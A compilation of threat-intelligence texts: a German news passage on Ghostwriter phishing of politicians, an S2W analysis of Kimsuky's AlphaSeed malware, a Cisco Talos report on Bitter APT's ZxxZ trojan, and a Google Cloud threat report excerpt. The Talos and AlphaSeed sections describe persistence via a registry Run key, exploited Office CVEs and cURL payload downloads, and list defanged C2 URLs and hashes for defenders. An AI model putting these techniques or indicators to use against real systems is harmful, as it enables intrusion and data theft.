GMX und T-Online. Längst nicht alle Empfänger seien Politiker, es gebe oft auch nur eine Namensgleichheit oder Namensähnlichkeit. In den E-Mails werden die Empfänger aufgefordert, zu beweisen, dass "Sie kein Spam-Bot sind". Sie sollen deshalb eine Webseite besuchen und dort Name und Passwort eingeben, ansonsten werde das Postfach "innerhalb von drei Tagen gesperrt". Die Mail erzeugt also Druck und ist angeblich von GMX verschickt. Sie enthält viele orthografische Fehler, da die Hacker anscheinend ein Programm verwendet haben, das Probleme mit deutschen Umlauten hatte. Statt "müssen" steht in der E-Mail zum Beispiel "müssen" und statt "verstoßen" steht da "verstoßen". Das sind Fehler, die in echten E-Mails von GMX nicht auftauchen. Die Cyberkampagne, die nun offenbar auch auf deutsche Abgeordnete abzielt, wurde im Juli 2020 erstmals von der IT-Sicherheitsfirma Fireeye beschrieben und als "Ghostwriter" bezeichnet. Die Hacker würden sich "an russischen Sicherheitsinteressen" orientieren, so heißt es in einem Dossier der Firma. Sie beobachtet die Hacker bereits seit März 2017, wie der IT-Sicherheitsexperte Benjamin Read erklärt. "Was diese Gruppe auszeichnet, ist die Art und Weise, wie sie Hacking mit Desinformationskampagnen verbinden." Die Hacker hätten in vielen Fällen seriöse Webseiten gehackt und erfundene Inhalte hochgeladen. Fireeye selbst macht keine Angaben darüber, ob die Gruppe im Auftrag eines Staates agiert. "Bemerkenswert ist, dass dies die erste größere beobachtete Aktivität der Gruppe in Westeuropa darstellt", heißt es in einem aktuellen Bericht des BSI zum Hackerangriff auf die Politiker in Deutschland. Kampagnen durch Ghostwriter seien in der Vergangenheit vor allem in Litauen, Lettland und Polen beobachtet worden. Auf Anfrage teilt die Behörde mit, sie beobachte den laufenden Angriff der Hacker bereits seit "Mitte Februar 2021". Im September 2019 sollen die Hacker auf einer Nachrichtenseite in Litauen eine Falschmeldung platziert haben: Bundeswehrsoldaten, die als Teil einer NATO-Mission in Litauen stationiert sind, hätten einen jüdischen Friedhof nahe der Stadt Kaunas geschändet. Dazu veröffentlichten die Hacker ein gefälschtes Foto, das angeblich den Friedhof zeigte. Es folgten weitere Falschmeldungen. Zum Beispiel über den angeblichen Truppenabzug der NATO, oder über ein litauisches Kind, das angeblich von einem NATO-Panzer überrollt worden sei. Die Mission von "Ghostwriter" scheint es offenbar zu sein, durch gezielte Desinformation, durch Lügen und Fälschungen nicht nur Verwirrung zu stiften, sondern auch die öffentliche Meinung zu beeinflussen, Wut und Empörung auf bestimmte Ziele zu lenken. Diese Hacker seien, so heißt es im Verfassungsschutz, nicht nur Datendiebe, sondern eine "Chaostruppe". Die Hacker gingen zwar relativ plump und technisch wenig ausgereift vor, könnten dennoch enormen Schaden anrichten. Dass die Hacker gerade in einem Wahljahr versuchen, Abgeordnete zu hacken, wird deshalb besonders aufmerksam verfolgt. Reporter des WDR und BR haben über eine Datenbank der IT-Sicherheitsfirma "Domaintools" 35 Webseiten gefunden, die allem Anschein nach von "Ghostwriter" angemeldet wurden. Auch Fireeye bringt diese Webseiten mit den Hackern von "Ghostwriter" in Verbindung, wie IT-Sicherheitsexperte Ben Read bestätigt. Viele der Seiten haben einen Bezug zu Polen oder der Ukraine, aber es finden sich auch Hinweise auf das Vorgehen der Hacker in Deutschland. Eine der Seiten trägt zum Beispiel "credentials-telekom" im Namen. Auch hier geht es also um Anmelde-Informationen. Die Hacker stellten die Seite am 24. März ins Netz, also vergangene Woche. An den beiden Folgetagen sollten Nutzer dort ihre Anmeldeinformationen bestätigen. Seit Montag ist die Seite nicht mehr aktiv.
# OilRig APT Drills into Malware Innovation with Unique Backdoor Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug.
# Detailed Analysis of AlphaSeed, a new version of Kimsuky’s AppleSeed written in Golang **Author:** BLKSMTH | S2W TALON **Date:** May 17, 2023 ## Executive Summary 2023년 5월 경, S2W의 위협 연구 및 인텔리전스 센터 Talon은 Kimsuky 그룹의 새로운 악성코드로 추정되는 샘플을 VirusTotal에서 헌팅하여 분석을 진행함. 헌팅된 악성코드는 “E:/Go_Project/src/alpha/naver_crawl_spy/”라는 경로명을 포함하고 있다는 점에서 이 악성코드를 “AlphaSeed”로 명명하였다. 우리는 AlphaSeed가 Kimsuky 그룹이 기존에 사용하던 AppleSeed 악성코드의 Go 언어 버전으로 추정하고 있으며, Kimsuky 그룹이 과거 NavRAT이라는 악성코드로 네이버 메일을 활용한 명령전달을 수행한 이력이 존재한다는 점에서 Kimsuky 그룹이 AlphaSeed 악성코드의 배후 그룹일 것이라 평가한다. Kimsuky 그룹이 Go언어를 통해 악성코드를 업데이트하고 있는 정황들이 발견되고 있기 때문에 주의가 필요하다. ## Introduction 2023년 5월 6일, VirusTotal에서 확인된 샘플에서 Kimsuky 그룹의 새로운 악성코드로 추정되는 샘플이 발견되어 분석을 진행하였다. 해당 샘플은 네이버 메일로 통신을 시도하며, Go 언어로 작성된 악성코드라는 점에서 새로운 악성코드 유형으로 예상되었다. 해당 악성코드는 VMProtect로 패킹되어 있으며, “E:/Go_Project/src/alpha/naver_crawl_spy/” 경로를 내부에 포함하고 있다. 이후 네이버 메일 서비스와 통신하여 정보탈취 및 명령 실행 등의 기능을 수행한다. 기존 Kimsuky 그룹은 아이디와 비밀번호로 네이버 메일 서비스에 로그인하는 방식을 사용했지만, 이번 악성코드에서는 네이버 로그인에 필요한 Cookie값을 이용해 Chrome Devtools 프로토콜을 사용하도록 지원하는 클라이언트 프로그램인 ChromeDP으로 로그인하는 방식을 사용한다. 이러한 방식의 변화는 C&C 서버로 사용하는 메일계정 정보를 노출하지 않으려는 전략으로 추정된다. ## Sample Information - **Filename:** powergmgmt.dat - **MD5:** 60308FA05380F183BF76F2ACFBE8E145 - **SHA-1:** 57B248D18B9EE4106A5922A25EB03F7A9B637D42 - **SHA-256:** F28D5CCDC79B0FCC02BE021435252F466A0C41786D9840E43A44EBDF821D3E95 ## Execution flow Go언어로 작성된 AlphaSeed 악성코드는 네이버 메일로부터 명령을 받아 수행하며, 감염된 시스템의 정보를 수집 및 탈취 기능을 수행한다. 해당 악성코드는 다음과 같은 실행 과정을 보여준다. 1. regsvr32.exe를 통해 실행되며, %USERPROFILE%\ 경로에 작업 디렉토리(.edge)를 생성하고 자기 자신을 복제 및 로드한다. 2. 로드된 악성 DLL은 키로깅, 스크린 캡처 등 감염된 시스템의 정보를 수집한다. 3. 악성 DLL 내부에 존재하는 Cookie 값을 이용하여 네이버 메일 로그인 후, Ping 메일 전송을 수행한다. 4. 메일에 존재하는 명령 전달용 Command 메일을 읽어와 명령 실행을 수행한다. ### Stage 1. Malicious DLL 1. **Create directory & copy itself** 실행시 가장 먼저 특정 경로에 작업 디렉토리를 생성하고 해당 경로에 자기 자신을 복사한다. 생성 경로: %USERPROFILE%\.edge 2. **Execution method check** 현재 프로세스가 EXE인지 체크한다. EXE 파일일 경우, 작업 디렉토리에 schtaskw.exe 파일명으로 복사 및 실행하고, 아닐 경우 powermgmt.dat 파일로 복사한 후 regsvr32.exe로 로드한다. 3. **Autorun with Registry** 부팅 시 항상 자동으로 악성코드가 실행되도록 “MS_SecSvc”라는 이름으로 레지스트리에 등록한다. Registry Path: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Key: MS_SecSvc Value: regsvr32.exe /s “%USERPROFILE%\.edge\powermgmt.dat” 4. **Self-deletion** 자가삭제 기능을 수행하기 위해 BAT 파일을 생성하여 실행한다. 총 2개의 BAT 파일을 생성한다. BAT file: %USERPROFILE%\.edge\tmp[time_calulate].bat 5. **Reload DLL** 실행된 원본 파일이 powermgmt.dat 파일인지 확인하고 아닐 경우, regsvr32.exe를 통해 로드 후 종료한다. ### Stage 2. powermgmt.dat 1. **Struct Initialization** Stage 2가 실행되면, 악성행위에 필요한 “agent_Agent” 구조체를 초기화한다. 2. **File Encryption & Data Decryption** 감염된 시스템으로부터 탈취한 파일에 대해 암호화를 수행하거나, 공격자 메일로부터 받은 명령을 복호화할 때 RC4와 RSA 알고리즘이 사용된다. 3. **Collect data from infected machine** 감염된 시스템의 정보를 탈취하기 위해 3개의 함수를 GoRoutine을 통해 호출한다. 각각의 함수는 키로깅, 스크린샷, 재시작과 같은 기능을 수행한다. goKeylog 함수에서는 감염된 시스템에 입력되는 키 입력 데이터를 작업 디렉토리 하위에 cache_w.db 파일로 저장한다. 4. **C&C communication initializing using Naver Mail** AlphaSeed 악성코드는 네이버 로그인에 필요한 별도의 아이디와 패스워드 대신, 유효한 Cookie 값을 이용해 로그인하는 방식을 사용하고 있다. 이후 로그인에 성공하면, 네이버 메일 서비스에 접근하여 정보 탈취 및 명령 전달을 수행한다. 5. **Exfiltrate collected data to Naver Mail** 감염된 시스템에서 수집한 정보를 각각의 메일함으로 전송한다. 공격자는 메일 제목과 본문에 모두 데이터를 포함시켜 전송하지만, AlphaSeed의 실제 통신을 구현한 결과, 메일 제목에만 데이터가 입력된 점이 확인되었다. ## Suspected attacker’s account AlphaSeed 악성코드가 메일 전송 관련 URL을 조합할 때 유저명으로 추정되는 네이버 계정을 발견할 수 있었다. 분석 당시 악성코드 내 Cookie값이 유효하지는 않았지만, VirusTotal 업로드 당시 해당 계정으로 로그인 후, 메일 전송까지 정상적으로 수행한 것으로 추정되는 통신 기록이 발견되었다. **공격자 의심 계정:** moj124578 ## Attribution AlphaSeed는 Go언어로 작성되었다는 점에서 기존 Kimsuky 그룹의 악성코드와 코드 유사성은 식별되지 않았지만, AppleSeed 악성코드와 유사한 기능이 상당수 확인되었다. Kimsuky 그룹은 기존 AppleSeed 악성코드를 Go언어로 변경하려는 것으로 보이며, 이 과정에서 일부 기능도 업데이트되었으나 아직 기능이 완벽하게 구현된 것으로 보이지 않는다. ## Conclusion AlphaSeed 악성코드는 AppleSeed 악성코드와 파일 암호화 방식, 메일 전송 쓰레드, 메일함 이름 등과 유사하다는 점에서 AppleSeed 악성코드를 기반으로 제작된 것으로 확인된다. Kimsuky 그룹이 기존 악성코드를 Go언어로 변경하려는 정황들이 확인되고 있다는 점에서, 이에 대한 대비가 필요하다. ## IoC - f28d5ccdc79b0fcc02be021435252f466a0c41786d9840e43a44ebdf821d3e95 - f78b3c0ccaa02b4b159b36557f6b99a9800bccdb2bd86f655f642a2097362026 - 98916e83b272f5ead73412a5765e1cf1225873c7b0cf0b5e94a341e65451d652 - 37ea9dba7ab6465f4d82c1af38a27339db9bf81ded74299fd6e5075e126b732a - 5aa1cc14a82db34269de7778536c893ae177345172f70478b4093fa0451744c8 - eb55211ca3b233555397cecf32ac0a86ec85983a1fd1f50bb04d727dddf6b1ec ## ATT&CK Matrix - **Persistence** Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001) - **Defense Evasion** System Binary Proxy Execution: Regsvr32 (T1218.010) - **Collection** Input Capture: Keylogging (T1056.001) Screen Capture (T1113) Archive Collected Data (T1560) - **Exfiltration** Exfiltration Over Web Service (T1567)
# Cisco Talos Intelligence Group - Comprehensive Threat Intelligence: Bitter APT adds Bangladesh to their targets Bitter APT adds Bangladesh to their targets Cisco Talos has observed an ongoing malicious campaign since August 2021 from the Bitter APT group that appears to target users in Bangladesh, a change from the attackers' usual victims. As part of this, there's a new trojan based on Apost Talos is calling "ZxxZ," that, among other features, includes remote file execution capability. Based on the similarities between the C2 server in this campaign with that of Bitter's previous campaign, we assess with moderate confidence that this campaign is operated by the Bitter APT group. ## Executive Summary Cisco Talos discovered an ongoing campaign operated by what we believe is the Bitter APT group since August 2021. This campaign is a typical example of the actor targeting South Asian government entities. This campaign targets an elite unit of the Bangladesh's government with a themed lure document alleging to relate to the regular operational tasks in the victim's organization. The lure document is a spear-phishing email sent to high-ranking officers of the Rapid Action Battalion Unit of the Bangladesh police (RAB). The emails contain either a malicious RTF document or a Microsoft Excel spreadsheet weaponized to exploit known vulnerabilities. Once the victim opens the maldoc, the Equation Editor application is automatically launched to run the embedded objects containing the shellcode to exploit known vulnerabilities described by CVE-2017-11882, CVE-2018-0798, and CVE-2018-0802 — all in Microsoft Office — then downloads the trojan from the hosting server and runs it on the victim's machine. The trojan masquerades as a Windows Security update service and allows the malicious actor to perform remote code execution, opening the door to other activities by installing other tools. In this campaign, the trojan runs itself but the actor has other RATs and downloaders in their arsenal. Such surveillance campaigns could allow the threat actors to access the organization's confidential information and give their handlers an advantage over their competitors, regardless of whether they're state-sponsored. ## Bitter threat actor Bitter, also known as T-APT-17, is a suspected South Asian threat actor. They have been active since 2013, targeting energy, engineering, and government sectors in China, Pakistan, and Saudi Arabia. In their latest campaign, they have extended their targeting to Bangladeshi government entities. Bitter is mainly motivated by espionage. The adversary typically downloads malware onto compromised endpoints from their hosting server via HTTP and uses DNS to establish contact with the command and control. Bitter is known for exploiting known vulnerabilities in victims' environments. For example, in 2021, security researchers discovered that the adversary was exploiting the zero-day vulnerability CVE-2021-28310, a security flaw in Microsoft's Desktop Manager. Bitter is known to target both mobile and desktop platforms. Their arsenal mainly contains Bitter RAT, Artra downloader, SlideRAT, and AndroRAT. ## Infrastructure The actor's infrastructure consists of the C2 server (helpdesk[.]autodefragapp[.]com) and several domains that host the adversary's malware. The SSL thumbprints are unique for each domain's certificate. We compiled a list of these SSL thumbprints in the IOCs section of the report. The timeline below shows the various domains based on their certificate creation date. The C2 host is helpdesk[.]autodefragapp[.]com. Its WhoIs record indicates that the domain autodefragapp[.]com registered it in November 2020 and later updated it on Nov. 3, 2021. We have seen the actor use this C2 in previous campaigns. The C2 domain resolved to 99[.]83[.]154[.]118 during the period of the campaign. This is a legitimate IP address for the AWS Global Accelerator networking service. Usually, the AWS Global Accelerator provides static IPs to the registrant, which allows the user to redirect traffic to their application or host for improved performance. In this case, we believe that the actor is using the AWS Global Accelerator to redirect traffic to their actual C2 host, which is parked behind the legitimate AWS service. We believe that the actor has employed this technique to conceal their identity. ## Attribution We assess with moderate confidence that this campaign is operated by Bitter based on the use of the same C2 IP address from previous campaigns and similarities in the decrypted strings of the payload, such as module names, payload executable name, paths, and the constants. The 99[.]83[.]154[.]118 IP also hosts mswsceventlog[.]net, according to Cisco Umbrella, a domain that was previously reported as Bitter's C2 server in a campaign against Pakistani government organizations. ## The campaign Cisco Talos observed an ongoing campaign operated by the Bitter APT group since August 2021 targeting Bangladeshi government personnel with spear-phishing emails. The email contains a maldoc attachment and masquerades as a legitimate email. The sender asks the target to review or verify the attached maldoc, which is either a call data record (CDR), a list of phone numbers, or a list of registered cases. We have seen the actor use these themes in phishing emails in the past. The maldocs are an RTF document and Microsoft Excel spreadsheets. Examples of the specific subjects of the phishing emails are below. - Subject: CDR - Subject: Application for CDR - Subject: List of Numbers to be verified - Subject: List of registered cases The maldocs' file names are consistent with the phishing emails' themes, as seen in the list of file names below: - Passport Fee Dues.xlsx - List of Numbers to be verified.xlsx - ASP AVIJIT DAS.doc - Addl SP Hafizur Rahman.doc - Addl SP Hafizur Rahman.xlsx - Registered Cases List.xlsx Below are two spear-phishing email samples of this campaign. The actor is using JavaMail with the Zimbra web client version 8.8.15_GA_4101 to send the emails. Zimbra is a collaborative software suite that includes an email server and a web client for messaging. The originating IP address and header information indicates the emails were sent from mail servers based in Pakistan and the actor spoofed the sender details to make the email appear as though it was sent from Pakistani government organizations. The actor exploited a possible vulnerability in the Zimbra mail server. By modifying the Zimbra mail server configuration file, a user can send emails from a non-existing email account/domain. We have compiled a list of fake sender email addresses from this campaign: - cdrrab13bd@gmail[.]com - arc@desto[.]gov[.]pk - so.dc@pc[.]gov[.]pk - mem_psd@pc[.]gov[.]pk - chief_pia@pc[.]gov[.]pk - rab3tikatuly@gmail[.]com - ddscm2@pof[.]gov[.]pk ## The infection chain The infection chain begins with the spear-phishing email and either a malicious RTF document or an Excel spreadsheet attachment. When the victim opens the attachment, it launches the Microsoft Equation Editor application to execute the equations in the form of OLE objects and connects to the hosting server to download and run the payload. ### Malicious RTF infection chain summary In the case of a malicious Excel spreadsheet, when the victim opens the file, it launches the Microsoft Equation Editor application to execute the embedded equation object and launches the task scheduler to configure two scheduled tasks. One of the scheduled tasks downloads the trojan "ZxxZ" into the public user's account space, while the other task runs the "ZxxZ". ### Malicious Excel infection chain summary The payload runs as a Windows security update service on the victim's machine and establishes communication with the C2 to remotely download and execute files in the victim's environment. ## RTF document The Malicious RTF document is weaponized to exploit the stack overflow vulnerability CVE-2017-11882, which enables arbitrary code execution on victims' machines running vulnerable versions of Microsoft Office. The RTF document is embedded with an OLE object with the class name "Equation 3.0." It contains the shellcode as an equation formula created using Microsoft Equation Editor. When the victim opens the RTF file with Microsoft Word, it invokes the Equation Editor application and executes the equation formula containing the Return-Oriented Programming (ROP) gadgets. The ROP loads and executes the shell code located at the end of the maldocs in an encrypted format that connects to the malicious host olmajhnservice[.]com and downloads the payload from the URL hxxp[:]//olmajhnservice[.]/nxl/nx. The payload is downloaded in the folder "C:\$Utf" created by the shellcode and runs as a process on the victim's machine. ## Excel spreadsheet The malicious Excel spreadsheet is weaponized to exploit the Microsoft Office memory corruption vulnerabilities CVE-2018-0798 and CVE-2018-0802. When the victim opens the Excel spreadsheet, it launches the Microsoft Equation Editor application to execute the embedded Microsoft Equation 3.0 objects. Once the Microsoft Equation Editor service executes the embedded objects, it invokes the scheduled task service to configure the task scheduler with the commands shown below: - Task 1: Rdx - Task 2: RdxFac The actor creates the folder "RdxFact" in the Windows tasks folder and schedules two tasks with the task names "Rdx" and "RdxFac" to run every five minutes. When the first task runs, the victim's machine attempts to connect to the hosting server through the URL and, using the cURL utility, downloads the "RdxFactory.exe" into the public user profile's music folder. RdxFactory.exe is the trojan downloader. After five minutes of execution of the first task, "Rdx," the second task, "RdxFac," runs to start the payload. Based on other related samples we discovered, the actor also uses different folder names, task names, and dropper file names in their campaigns. We noticed that the actor is using the cURL command-line utility to download the payload in the Windows environment. Systems running Windows 10 and later have the cURL utility, which the actor abuses in this campaign. ## The payload The payload is a 32-bit Windows executable compiled in Visual C++ with a timestamp of Sept. 10, 2021. We named the trojan "ZxxZ" based on the name of a separator that the payload uses while sending information to the C2. This trojan is a downloader that downloads and executes the remote file. The executables were seen with the filenames "Update.exe," "ntfsc.exe," or "nx" in this campaign. They are either downloaded or dropped into the victim's "local application data" folder and run as a Windows Security update with medium integrity to elevate the privileges of a standard user. The actor uses common encoding techniques to obfuscate strings in the WinMain function to hide its behavior from static analysis tools. The decryption function receives the encrypted strings and decrypts each character with the XOR operation and stores the result in an array that will be returned to the caller function. The malware searches for the Windows Defender and Kaspersky antivirus processes in the victim's machine by creating the snapshot of running processes using CreateToolhelp32Snapshot and iterates through each process using API Process32First and Process32Next. The information-gathering function gathers the victim's hostname, operating system product name, and the victim's username and writes them into a memory buffer. The C2 communicating function at offset 401C50 is called from the two other requests making functions to send the victim's information with the decrypted strings "xnb/dxagt5avbb2.php?txt=" and "data1.php?id=" to C2 and receive the response. The received response is a remote file saved into the "debug" folder and executed with the API "ShellExecuteA". In our research debugging environment, the remote file is similar to the trojan. ## C2 communication For C2 communication, first, the trojan sends the victim's computer name, user name, a separator "ZxxZ," and the Windows version pulled from the registry. The server responds back with data in the format <id><user>:"<Program name">. Next, the malware requests the program data. The server sends back the data of the Portable Executable effectively matching the pattern:<zero or more bytes>ZxxZ<PE data minus the MZ>. It then saves the file to %LOCALAPPDATA%\Debug\<program name>.exe and tries to execute it. If the download is successful, the server sends back the request with the opcode DN-S and, in case of a failure, the opcode RN_E in their response. Based on our analysis, the opcode DN-S means "download successful" and RN_E stands for run error. If failed, the malware attempts to download the program data 225 times, and after that, it will launch itself and exit. ## Conclusion Organizations should be vigilant about the highly motivated threat actors who are known to conduct targeted attacks in their region. Threat actors usually emerge with smart techniques to accomplish their adversarial objectives and we have seen such an attempt in this campaign with the addition of a new variant to their arsenal. In this current campaign, upon compromising the victim's machine and implanting the trojan ZxxZ - which has remote file execution capability - the adversary can deploy and run other tools from their arsenal to achieve their malicious objective. Organizations should have a layered defense strategy with the implementation of the latest detection rules and behavioral protections in their endpoint defense solutions - not only with technical controls, but the organizations should have matured incident response plans and have the organization's security posture streamlined to protect their environment against the latest threats. ## Coverage Ways our customers can detect and block this threat are listed below. Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance, and Meraki MX can detect malicious activity associated with this threat. Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device. Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. The following ClamAV signatures have been released to detect this threat: - Ole2.Exploit.ZxxZDownloader-9944376-0 - Win.Downloader.ZxxZ-9944378-0 Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat are 59736 and 300132. ## IOC ### Domains - olmajhnservice[.]com - levarisnetqlsvc[.]net - urocakpmpanel[.]com - tomcruefrshsvc[.]com - autodefragapp[.]com - helpdesk[.]autodefragapp[.]com ### URLs - http[://]autodefragapp[.]com/ - hxxp[://]olmajhnservice[.]com/updateReqServ10893x[.]php?x=035347 - hxxp[://]olmajhnservice[.]com/ - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-BKP&ct=BKP - hxxp[://]olmajhnservice[.]com/nxl/nx - hxxp[://]olmajhnservice[.]com/nxl/nx/ - hxxp[://]olmajhnservice[.]com/nt[.]php/?dt= - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-2&ct=2 - hxxps[://]olmajhnservice[.]com/ - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-1 - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-1&amp - hxxp[://]olmajhnservice[.]com/nt[.]php?dt=%25computername%25-ex-1&amp - hxxp[://]olmajhnservice[.]com/nt[.]php - hxxp[://]olmajhnservice[.]com/nt[.]php/ - hxxp[://]olmajhnservice[.]com/nt[.]php/?dt=%25username%25-EX-3ct=1 - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-1&ct=1 - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-1&amp;ct=1 - hxxps[://]olmajhnservice[.]com/nt[.]php/ - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-3&ct=3 - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25username%25-EX-3&ct=1 - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25username%25-EX-3&amp;ct=1 - hxxp[://]levarisnetqlsvc[.]net/drw/drw - hxxp[://]levarisnetqlsvc[.]net/lt[.]php - hxxp[://]levarisnetqlsvc[.]net/ - hxxps[://]levarisnetqlsvc[.]net/lt[.]php - hxxp[://]levarisnetqlsvc[.]net/jig/gij - hxxps[://]levarisnetqlsvc[.]net/lt[.]php/?dt=%25computername%25-LT-2&ct=LT - hxxp[://]urocakpmpanel[.]com/axl/ax - hxxp[://]urocakpmpanel[.]com/nt[.]php?dt=%25computername%25-**** - hxxps[://]urocakpmpanel[.]com/ - hxxp[://]urocakpmpanel[.]com/nt[.]php/?dt=%25computername%25-**** - hxxps[://]urocakpmpanel[.]com/nt[.]php?dt=%25computername - hxxp[://]urocakpmpanel[.]com/ - hxxp[://]urocakpmpanel[.]com:33324/ - hxxps[://]urocakpmpanel[.]com/nt[.]php ### SSL Certificates Thumbprints - 0cbf8c7ff9faf01a9b5c3874e9a9d49cbbf5037b - 25092b60d972e574ed593a468564de2394fa008b - 4fbde39a0735d1ad757038072cf541dfdc65faa3 - 5a972665b590cc77dcdfb4500c04acda5dc1cc4e - 530f597666afc147886f5ad651b5071d0cc894ba - 04a75df9b60290efb1a2d934570ad203a23f4e9c - aeb02ac0c0f0793651f32a3c0f594ce79ba99e82 ### Documents - b0b687977eee41ee7c3ed0d9d179e8c00181f0c0db64eebc0005a5c6325e8a82 - f7ed5eec6d1869498f2fca8f989125326b2d8cee8dcacf3bc9315ae7566963db - 490e9582b00e2622e56447f76de4c038ae0b658a022e6bc44f9eb0ddf0720de6 - b7765ff16309baacff3b19d1a1a5dd7850a1640392f64f19353e8a608b5a28c5 - ce922a20a73182c18101dae7e5acfc240deb43c1007709c20ea74c1dd35d2b12 - e4545764e0c54ed1e1321a038fa2c1921b5b70a591c95b24127f1b9de7212af8 ### Payload - fa0ed2faa3da831976fee90860ac39d50484b20bee692ce7f0ec35a15670fa92 - 3fdf291e39e93305ebc9df19ba480ebd60845053b0b606a620bf482d0f09f4d3 - 69b397400043ec7036e23c225d8d562fdcd3be887f0d076b93f6fcaae8f3dd61 - 90fd32f8f7b494331ab1429712b1735c3d864c8c8a2461a5ab67b05023821787
# Threat Horizons ## January 2023 Threat Horizons Report ### Mission Statement The Google Cloud Threat Horizons Report brings decision-makers strategic intelligence on threats to cloud enterprise users and the best original cloud-relevant research and security recommendations from throughout Google’s intelligence and security teams. ### Letter from the Editor #### 2023 Predictions: Planning for the Unexpected in Cloud Threats One of the most important activities I encourage threat intelligence teams to do as they mature and grow is to start making predictions about what threats they expect their organization to face in the future. It’s an important step to move from a reactive intelligence team supporting ongoing investigations and incidents to a proactive one that helps senior leaders in their organization prevent threats, understand the risks their organization is already facing, and plan strategically for the future. None of us have a crystal ball, but the very act of formalizing threat predictions carries with it benefits beyond identifying potential threats that might come to fruition. It forces the team to think carefully about their organization and what resources and operations are most important to it; the team should notice trends in common factors among their predictions, possibly identifying ways to achieve positive security outcomes that cut across identified threats. It offers an opportunity for creativity that some team members may excel at, giving managers an opportunity to benefit from a professionally diverse team and giving team members a different way to contribute than more detail-oriented technical work. It keeps the team cognizant of nontechnical factors that could contribute to cyber risk, such as the geopolitical position of the company, macroeconomic and security trends, and changes to the organization’s public profile over time. In that spirit, we want to share a few intelligence-based predictions regarding threats to cloud systems that the Google Cybersecurity Action Team (GCAT) came up with during their brainstorm, which we will be tracking over the next year or more as we head into 2023: - Identity and trust relationships in and between cloud environments will continue to get more complex, challenging visibility and enabling threat actors to have a wider and deeper impact on organizations. We anticipate an increase in targeting of identities that allow cross-platform authentication as threat actors recognize the value in compromising identities rather than endpoints. The Chinese Government group APT10’s Cloud Hopper campaign provides a template they and less sophisticated groups will follow. In 2023, we will be watching to see if there is at least one public incident of a threat actor gaining access to a customer environment at one Cloud Service Provider (CSP) and leveraging that into assets hosted on a different CSP due to a lack of identity verification controls, overly permissive trust architecture, or both. - Threat actor use of one-off cloud-hosted instances will become increasingly harmful as threat actors generate more effective and potent uses of short-term tenancy. The top malware used by short-term infections will still be cryptominers in 2023, but other forms of monetization, such as phishing, could grow as well. - Attacker tools and malware are evolving to better target customer cloud environments specifically. As more companies move more things to the cloud and software-as-a-service (SaaS) providers and away from on-premises, more attacks will inevitably shift to target customers’ cloud environments. Cloud providers continue to invest in defending themselves and partnering with customers to improve their defenses, but vigilance is needed to keep pace with evolving threats. We predict new and upgraded cloud-specific attack tools to start appearing in 2023. Cloud-focused malware will also be updated to more efficiently abuse cloud instances. We predict a ransomware strain that targets cloud-based backups, including revision history and cloud-stored backups in 2023. ### Summary #### Initial-Access Vectors Diversify, Point Toward Possible Increase in Automation of Attacks In Q3 2022, analysis of data about Google Cloud customer compromises indicates that threat actors diversified their initial access vectors compared to earlier in the year. Weak passwords continued to be the most common factor at 41% of observed compromises. However, API key compromise played a role in nearly 20% of cases studied last quarter. In terms of which software was most targeted in Q3, we observed significant diversification. SSH was targeted in 26% of cases, but Jenkins and PostgreSQL were close behind at around 22% and 17%, respectively. ### Threat Trends #### Malware Communicating and Hiding Interactions with Cloud Providers’ IP Addresses and Open Ports Examining new attack vectors against cloud environments, we searched VirusTotal (VT) for 2022 malware samples communicating with three geographic regions of large cloud service providers (CSPs). We found over 6,000 malware samples communicating with the CSPs using many pre-specified or randomly selected IP addresses and TCP/IP ports. The malware also at times tried to hide its activities among legitimate services by communicating to CSPs using well-known ports, as well as by explicitly utilizing TLS. Cloud users should mitigate these types of malicious operations by monitoring and restricting inbound as well as internal Google Cloud network communications, using hardened VM images, and reviewing cloud instance audit events for unexpected administrative or user activities. ### APT10: Lessons Learned from Studying Government-Backed Cloud Targeting APT10, also known as MenuPass, is a threat actor group sponsored by the People’s Republic of China. The group has specialized in targeting cloud infrastructure and has evolved its techniques from basic cloud account hijacking to the targeting of VPN technologies. APT10’s ability to leverage both open source and custom tooling to target an organization’s unique infrastructure composition makes them highly adept at identifying the inevitable weak spots of hybrid enterprises. ### Threat Groups Probably Developing Methods to Threaten Operational Technology Deployed in the Cloud Organizations have increasingly integrated operational technology (OT) systems with IT infrastructure, including the implementation of cloud infrastructure, to scale production, develop efficiencies, and handle geographically distributed processes. Google Cloud’s Mandiant cyber-physical threat intelligence analysts and incident responders are not aware of any high-impact cyberattacks against organizations that have implemented cloud services to support OT systems. Nevertheless, Google Cloud assesses that threat groups are poised to attempt to carry out such attacks on customer deployments. ### Backups Increasingly Targeted by Threat Actors Mandiant research indicates that threat actors are increasingly targeting backups to inhibit reconstitution after an attack. In addition, targeting and, in some cases, creating backups allows threat actors to engage in reconnaissance of affected organizations, to escalate privileges, and to gather intelligence. These actions may include disabling and deleting backups, deleting virtual machines, disabling security software, and stopping processes and services that may interfere with file encryption. 